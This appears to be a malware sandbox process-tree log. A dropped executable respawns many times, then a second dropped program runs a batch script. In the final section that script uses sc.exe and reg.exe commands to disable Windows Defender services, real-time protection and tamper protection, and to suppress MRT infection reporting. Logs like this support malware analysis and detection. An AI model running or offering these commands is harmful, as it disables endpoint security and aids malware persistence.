C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 16884 -s 244⤵
- Program crash
-
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
C:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exeC:\Users\Admin\Documents\DqzVtQrjevgM4KKsMGU3Js49.exe3⤵
-
-
-
C:\Users\Admin\Documents\wPmZFr2rZvIggpk5wX3nMEat.exe"C:\Users\Admin\Documents\wPmZFr2rZvIggpk5wX3nMEat.exe"2⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\mXgONI1Z.com"C:\Users\Admin\AppData\Local\Temp\mXgONI1Z.com"3⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\EF4E.tmp\EF4F.tmp\EF50.bat C:\Users\Admin\AppData\Local\Temp\mXgONI1Z.com"4⤵
-
C:\Windows\system32\sc.exesc config WinDefend start=disabled5⤵
-
-
C:\Windows\system32\sc.exesc config SecurityHealthService start=disabled5⤵
-
-
C:\Windows\system32\sc.exesc config Sense start=disabled5⤵
-
-
C:\Windows\system32\sc.exesc config WdNisDrv start=disabled5⤵
-
-
C:\Windows\system32\sc.exesc config WdNisSvc start=disabled5⤵
-
-
C:\Windows\system32\reg.exereg delete "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "SecurityHealth" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t REG_DWORD /d "0" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f5⤵
-
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SmartScreen" /v "ConfigureAppInstallControlEnabled" /t REG_DWORD /d "0" /f5⤵
-
-
